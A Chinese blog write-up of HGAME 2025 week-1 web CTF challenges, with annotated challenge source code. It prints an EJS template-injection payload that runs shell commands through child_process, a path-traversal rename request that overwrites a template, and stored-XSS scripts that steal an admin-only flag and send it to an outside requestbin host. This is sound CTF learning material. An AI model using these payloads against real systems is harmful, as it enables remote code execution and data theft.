hgame


qqqqq#000380-week1-wp

文章 - hgame2025 第一周 web wp - 先知社区

HGAME2025-WEB - EddieMurphy’s blog

Level 24 Pacman

先玩一局

aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==

haepaiemkspretgm{rtc_ae_efc}

喜得278分

得100000分,寻找score

在控制台改

作为cheater,美美通关

haeu4epca_4trgm{_r_amnmse}

与上一个对比一下(

haepaiemkspretgm{rtc_ae_efc}

必须要凑出来一个hgame{ }的形式,然后观察大括号前的字符串,发现他们前三个字母跟后两个字母都是一样的,然后正好能凑出hgame,于是隔一插一

看来思路是对的(所以为了凑整齐把practice写成pratice吗。。。出题人你这家伙


后来才知道

好好好,这原来是栅栏密码吗,不造呀(


Level 47 BandBomb

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
//express:一个流行的 Node.js Web 应用框架,用于创建服务器和处理路由。
//multer:一个用于处理 multipart/form-data 类型的表单数据,主要用于文件上传的中间件。
//fs:Node.js 的文件系统模块,用于对文件和目录进行读写、创建、删除等操作。
//path:Node.js 的路径处理模块,用于处理和转换文件路径。

const app = express();//通过调用 express() 函数创建一个 Express 应用实例,后续将使用该实例来配置路由、中间件等。

app.set('view engine', 'ejs');//将 EJS(Embedded JavaScript)设置为 Express 应用的视图引擎,这样可以使用 EJS 模板来渲染动态网页。

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
//app.use('/static', express.static(path.join(__dirname, 'public'))):将 public 目录下的文件作为静态文件提供服务,通过 /static 前缀访问。例如,public 目录下的 image.jpg 文件可以通过 /static/image.jpg 访问。
//app.use(express.json()):使用 express.json() 中间件来解析客户端发送的 JSON 格式的数据,将其转换为 JavaScript 对象并挂载到 req.body 上。所以这里直接传参json格式的数据即可

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});
//multer.diskStorage:用于配置文件存储的磁盘存储引擎。
destination:一个回调函数,用于指定文件存储的目录。如果 uploads 目录不存在,则使用 fs.mkdirSync 创建该目录。
filename:一个回调函数,用于指定文件存储的文件名,这里直接使用文件的原始文件名。
const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});
//multer:创建一个 multer 实例,使用之前配置的存储引擎 storage。
//fileFilter:一个回调函数,用于过滤上传的文件。如果文件名不存在,则返回一个错误并拒绝上传;否则允许上传。

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });//漏洞
    }
    res.render('mortis', { files: files });
  });
});
//app.get('/', ...):处理根路径 / 的 GET 请求。
//首先检查 uploads 目录是否存在,如果不存在则创建该目录。
//使用 fs.readdir 读取 uploads 目录下的所有文件和文件夹名称。
//如果读取过程中出现错误,返回 500 状态码并渲染 mortis 模板,传递一个空的文件列表。
//如果读取成功,渲染 mortis 模板并传递文件列表。

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});
//app.post('/upload', ...):处理 /upload 路径的 POST 请求。
//upload.single('file'):使用 multer 中间件处理单个文件上传,表单中文件字段的名称为 file。
//如果上传过程中出现错误,返回 400 状态码并以 JSON 格式返回错误信息。
//如果没有选择文件,返回 400 状态码并以 JSON 格式返回错误信息。
//如果上传成功,以 JSON 格式返回成功信息和上传文件的文件名。

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});
//app.post('/rename', ...):处理 /rename 路径的 POST 请求。
//从请求体中获取旧文件名 oldName 和新文件名 newName。
//构建旧文件和新文件的完整路径。
//如果旧文件名或新文件名不存在,返回 400 状态码并以 JSON 格式返回错误信息(此处错误信息为空,应补充完整)。
//使用 fs.rename 对文件进行重命名操作。
//如果重命名过程中出现错误,返回 500 状态码并以 JSON 格式返回错误信息(此处错误信息为空,应补充完整)。
//如果重命名成功,以 JSON 格式返回成功信息。
         
app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});
//调用 app.listen 方法启动服务器,监听指定的端口 port。服务器启动后,在控制台输出服务器的运行地址。

文章 - Ejs模板引擎注入实现RCE - 先知社区

hxp ctf valentine ejs ssti 语法特性造成的漏洞 - Galio - 博客园

在render()函数渲染的mortis是一个自定义的前端模板文件,一般会命名为mortis.ejs文件,这里通过渲染这个摹本文件时实现在前端,后面的files就是上传的文件名

一般EJS模板文件是存放在项目的views目录下,这是Express框架的默认约定,用于存在模板文件,就像flask框架中的是将html模板文件放在templates目录下。主要作用代码如下:

app.set(‘view engine’, ‘ejs’);

这个就代表使用默认情况。

1.

<%= global.process.mainModule.require('child_process').execSync("env > /app/public/text.txt") %>

global.process.mainModule.require('child_process') 这行代码的主要目的是在 Node.js 环境里引入 child_process 模块。

在 Node.js 里,global 是一个全局对象,类似于浏览器环境中的 window 对象。它可以让你在全局作用域下访问各种全局变量和函数。

processglobal 对象下的一个属性,它代表当前 Node.js 进程。process 对象提供了许多与进程相关的信息和方法,像进程的环境变量、命令行参数、标准输入输出等。

process.mainModule 指向 Node.js 应用的主模块,也就是启动应用时执行的那个文件所对应的模块。通过 mainModule 可以获取主模块的一些信息,例如模块的文件名、路径等。

require 是 Node.js 用于引入模块的函数。'child_process' 是 Node.js 的一个内置模块,child_process 模块允许你创建子进程,从而在 Node.js 应用中执行外部命令或者脚本。引入这个模块后,你就可以使用它提供的各种方法,像 spawnexecexecSync 等。

  1. env 命令
    env 是一个用于显示当前环境变量的命令。环境变量是操作系统中存储的一些值,它们可以影响系统和应用程序的行为。例如,PATH 环境变量定义了系统查找可执行文件的路径,HOME 环境变量表示当前用户的主目录。当你在终端中输入 env 并执行时,会列出当前环境中所有的环境变量及其对应的值。
  2. 重定向符号
    在 Unix 系统的命令行中,> 是重定向符号,它的作用是将命令的输出结果重定向到指定的文件中。如果文件不存在,会创建该文件;如果文件已经存在,会覆盖原文件的内容。
  3. /app/public/text.txt
    这是指定的输出文件路径。命令会将 env 命令输出的环境变量信息写入到 /app/public/text.txt 文件中。(即static下)

  1. 上传恶意文件:先上传一个恶意的 EJS 模板文件,例如包含恶意代码的 text.txt
  2. 构造路径穿越文件名:构造特殊的新文件名,利用路径穿越字符(如 ../)来突破 uploads 目录的限制。例如,将新文件名设置为 ../views/mortis.ejs,这样就可以尝试将上传的 text.txt 文件重命名并覆盖掉原本的 mortis.ejs 模板文件。
  3. 发送重命名请求:攻击者向 /rename 接口发送 POST 请求,请求体包含旧文件名(上传的恶意文件的文件名)和构造好的新文件名。示例请求如下:
{
    "oldName": "text.txt",
    "newName": "../views/mortis.ejs"
}

如果应用程序没有对文件名进行严格验证,fs.rename 函数就会尝试将 uploads 目录下的 malicious.ejs 文件移动并重命名为 views 目录下的 mortis.ejs,从而实现对 EJS 模板文件的覆盖,然后就啦啦啦了(


Level 69 MysteryMessageBoard

package main

import (
	"context"
	"fmt"
	"github.com/chromedp/chromedp"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"log"
	"net/http"
	"sync"
	"time"
)

var (
	store = sessions.NewCookieStore([]byte("fake_key"))
	users = map[string]string{
		"shallot": "fake_password",//shallot 代表了系统中的一个用户
		"admin":   "fake_password"}
	comments []string
	flag     = "FLAG{this_is_a_fake_flag}"
	lock     sync.Mutex
)

func loginHandler(c *gin.Context) {//c *gin.Context 是 gin 框架中的上下文对象,包含了请求和响应的相关信息。
	username := c.PostForm("username")
	password := c.PostForm("password")
	if storedPassword, ok := users[username]; ok && storedPassword == password {
		session, _ := store.Get(c.Request, "session")
		session.Values["username"] = username
		session.Options = &sessions.Options{
			Path:     "/",
			MaxAge:   3600,
			HttpOnly: false,
			Secure:   false,
		}
		session.Save(c.Request, c.Writer)
		c.String(http.StatusOK, "success")
		return
	}
	log.Printf("Login failed for user: %s\n", username)
	c.String(http.StatusUnauthorized, "error")
}
func logoutHandler(c *gin.Context) {
	session, _ := store.Get(c.Request, "session")
	delete(session.Values, "username")
	session.Save(c.Request, c.Writer)
	c.Redirect(http.StatusFound, "/login")
}
func indexHandler(c *gin.Context) {
	session, _ := store.Get(c.Request, "session")
	username, ok := session.Values["username"].(string)
	if !ok {
		log.Println("User not logged in, redirecting to login")
		c.Redirect(http.StatusFound, "/login")
		return
	}
	if c.Request.Method == http.MethodPost {
		comment := c.PostForm("comment")
		log.Printf("New comment submitted: %s\n", comment)
		comments = append(comments, comment)
	}
	htmlContent := fmt.Sprintf(`<html>
		<body>
			<h1>留言板</h1>
			<p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p>
			<form method="post">
				<textarea name="comment" required></textarea><br>
				<input type="submit" value="提交评论">
			</form>
			<h3>留言:</h3>
			<ul>`, username)
	for _, comment := range comments {
		htmlContent += "<li>" + comment + "</li>"
	}
	htmlContent += `</ul>
			<p><a href="/logout">退出</a></p>
		</body>
	</html>`
	c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
func adminHandler(c *gin.Context) {//c *gin.Context 是 Gin 框架中非常重要的一个参数,它代表了当前 HTTP 请求的上下文。通过 c 可以访问请求的各种信息(如请求头、请求参数等),也可以设置和发送响应信息。
	htmlContent := `<html><body>
		<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
		</body></html>`
	c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
    //c.Data 是 gin.Context 对象的一个方法,用于发送二进制数据作为 HTTP 响应。
	//无头浏览器模拟登录admin,并以admin身份访问/路由
    //http.StatusOK 是 HTTP 响应状态码,表示请求成功(状态码为 200)。
//"text/html; charset=utf-8" 是响应内容的 MIME 类型和字符编码,表明响应内容是 HTML 格式,使用 UTF - 8 编码。
//[]byte(htmlContent) 将字符串 htmlContent 转换为字节切片,因为 Data 方法要求传入的 data 参数是字节切片类型。
	go func() {
        //Goroutine 是 Go 语言并发编程的核心概念之一,它是一种轻量级的线程实现,由 Go 运行时(runtime)进行管理。与传统的操作系统线程相比,goroutine 的开销非常小,启动和销毁的速度更快,并且可以在单个操作系统线程上多路复用,因此可以轻松创建成千上万个 goroutine,实现高效的并发编程。
		lock.Lock()
		defer lock.Unlock()//加锁和解锁操作,确保在并发环境下对共享资源的安全访问。
		ctx, cancel := chromedp.NewContext(context.Background())//创建一个新的 chromedp 上下文
		defer cancel()
		ctx, _ = context.WithTimeout(ctx, 20*time.Second)//设置上下文的超时时间为 20 秒。
		if err := chromedp.Run(ctx, myTasks()); err != nil {
			log.Println("Chromedp error:", err)
			return
		}
	}()
}

// 无头浏览器操作
//Chromedp:是一个用于 Go 语言的无头浏览器自动化库,基于 Chrome DevTools Protocol,提供了简单易用的 API,可用于控制 Chrome 或 Chromium 浏览器进行网页自动化操作。
func myTasks() chromedp.Tasks {
	return chromedp.Tasks{//函数返回一个 chromedp.Tasks 类型的值,chromedp.Tasks 实际上是一个 []chromedp.Action 切片,用于存储一系列的浏览器操作任务。
		chromedp.Navigate("/login"),//chromedp.Navigate 是 chromedp 库提供的一个操作,用于让浏览器导航到指定的 URL。
		chromedp.WaitVisible(`input[name="username"]`),
		chromedp.SendKeys(`input[name="username"]`, "admin"),
		chromedp.SendKeys(`input[name="password"]`, "fake_password"),
		chromedp.Click(`input[type="submit"]`),//真无敌了这傲娇admin
		chromedp.Navigate("/"),//登录成功后,使用 chromedp.Navigate 操作让浏览器导航到根路径 /,即主页。
		chromedp.Sleep(5 * time.Second),
	}
}

func flagHandler(c *gin.Context) {
	log.Println("Handling flag request")
	session, err := store.Get(c.Request, "session")
	if err != nil {
		c.String(http.StatusInternalServerError, "无法获取会话")
		return
	}
	username, ok := session.Values["username"].(string)
	if !ok || username != "admin" {
		c.String(http.StatusForbidden, "只有admin才可以访问哦")
		return
	}
	log.Println("Admin accessed the flag")
	c.String(http.StatusOK, flag)
}
func main() {
	r := gin.Default()
	r.GET("/login", loginHandler)
	r.POST("/login", loginHandler)
	r.GET("/logout", logoutHandler)
	r.GET("/", indexHandler)
	r.GET("/admin", adminHandler)
	r.GET("/flag", flagHandler)
	log.Println("Server started at :8888")
	log.Fatal(r.Run(":8888"))//而且(容器内端口为8888)

}

admin密码不行

《script>alert(1)</script>存在xss漏洞

当访问/admin的时候,会触发一个后台的goroutine,用无头浏览器模拟admin登录,并访问首页。

攻击者提交一个带有恶意JavaScript代码的评论,当admin用户被触发访问首页时,这段代码会在admin的上下文中执行,从而可以获取到admin的cookie或者直接访问/flag端点,然后将结果发送到攻击者的服务器。

根路径的indexHandler会渲染所有评论。如果攻击者的评论被存储在comments数组中,那么管理员访问首页时自然会加载这些评论,触发XSS。

Fetch API | 菜鸟教程

fetch 的语法相当简洁,最基本的形式是:

fetch(url)
  .then(response => response.json()) // 解析 JSON 数据
  .then(data => console.log(data))   // 处理数据
  .catch(error => console.error('Error:', error)); // 错误处理
  1. 提交评论
    向留言板提交包含脚本的评论:

    《script>
      fetch('/flag')
        .then(response => response.text())
    //response.text() 方法会读取响应体的内容并将其作为一个新的 Promise 对象返回,这个新的 Promise 最终会解析为一个字符串,即响应体的文本内容。
        .then(flag => fetch('http://xxx' + encodeURIComponent(flag)))
    //这是第二个 .then 方法,用于处理 response.text() 返回的 Promise 成功时的回调。当 response.text() 成功读取到响应体的文本内容后,会将其作为参数(命名为 flag)传递给这个回调函数。
    //encodeURIComponent(flag) 是 JavaScript 的内置函数,用于对 flag 字符串进行编码,确保其中的特殊字符(如空格、问号等)能够被正确地作为 URL 参数传递。
    //向服务器发起一个 GET 请求,将编码后的 flag 作为参数附加到 URL 后面。/script>
  2. 触发管理员访问
    访问 /admin 端点,触发无头浏览器执行以下操作:

    • admin 身份登录(携带正确密码)。
    • 访问首页 /,加载所有评论。
  3. XSS 触发与 Flag 窃取

    • 无头浏览器加载首页时,脚本被执行。

    • 脚本以 admin 身份发起对 /flag 的请求,获取到 Flag。

    • 将 Flag 外带到服务器(http://xxx)。

      《script>
        fetch('/flag').then(r => r.text()).then(flag => {
          fetch('http://requestbin.cn:80/zn6yxqzn?flag=' + encodeURIComponent(flag))
        })/script>

      或者

      《script>
      fetch('/flag', { credentials: 'include' })
        .then(res => res.text())
        .then(flag => {
          let form = new FormData();
      //FormData 是 JavaScript 的内置对象,用于创建表单数据。
          form.append('comment', 'FLAG: ' + flag);
      //form.append 方法用于向 FormData 对象中添加键值对。'comment' 是键,'FLAG: ' + flag 是值,即将获取到的 flag 信息添加到 comment 字段中,并在前面加上 FLAG: 前缀。
          fetch('/', { method: 'POST', body: form });
      //{ method: 'POST', body: form } 是请求的配置对象。method: 'POST' 表示使用 POST 方法发送请求,body: form 表示将之前创建的 FormData 对象作为请求体发送。这样,包含 flag 信息的表单数据就会被发送到目标网站的根路径。
        });/script>

      其实一样(

      当然用xss盗了cookie再登admin也行


Level 38475 角落

User-agent: *
Disallow: /app.conf
Disallow: /app/*
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
	Options Indexes
	AllowOverride None
	Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

关于Apache HTTP Server mod_rewrite输出不当逃逸漏洞 (CVE-2024-38475) - 安全通告 - 安全研究 - 湖南中测网安信息技术有限公司

无敌了

(繁中) Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! | Orange Tsai

image-20250217222622618

image-20250217222704583

然后用条件竞争什么的。。。。有空再看吧


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录